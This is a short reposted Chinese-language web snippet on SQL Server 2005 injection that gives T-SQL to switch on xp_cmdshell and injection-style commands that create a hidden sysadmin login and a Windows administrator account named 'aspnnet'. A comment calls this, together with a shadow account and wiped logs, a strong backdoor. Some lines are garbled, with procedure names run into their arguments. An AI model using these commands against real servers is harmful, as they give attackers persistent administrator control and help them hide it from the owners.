SQL Server 2005 SQL 注入

来源:互联网 发布:好莱坞黄金时代知乎 编辑:程序博客网 时间:2024/05/18 13:25

--攻与防,矛与盾

--sql server 2005上测试成功的。再加上影子账户及删除日志。那就是很强的后门了。

--enabble xp_cmdshell
EXEC sys.sp_configure N'show advanced options',N'1'  RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'xp_cmdshell', N'1'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options',N'0'  RECONFIGURE WITH OVERRIDE
go

-- Unenable xp_cmdshell
EXEC sys.sp_configure N'show advanced options',N'1'  RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'xp_cmdshell', N'0'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options',N'0'  RECONFIGURE WITH OVERRIDE
go


exec master.dbo.sp_addloginaspnnet;--  
exec master.dbo.sp_passwordnull,aspnnet,aspnnet;--  
exec master.dbo.sp_addsrvrolememberaspnnet,sysadmin;--  
exec master.dbo.xp_cmdshell 'net user aspnnet aspnnet/workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add';--  
exec master.dbo.xp_cmdshell 'net localgroup administrators aspnnet/add';--  

0 0
原创粉丝点击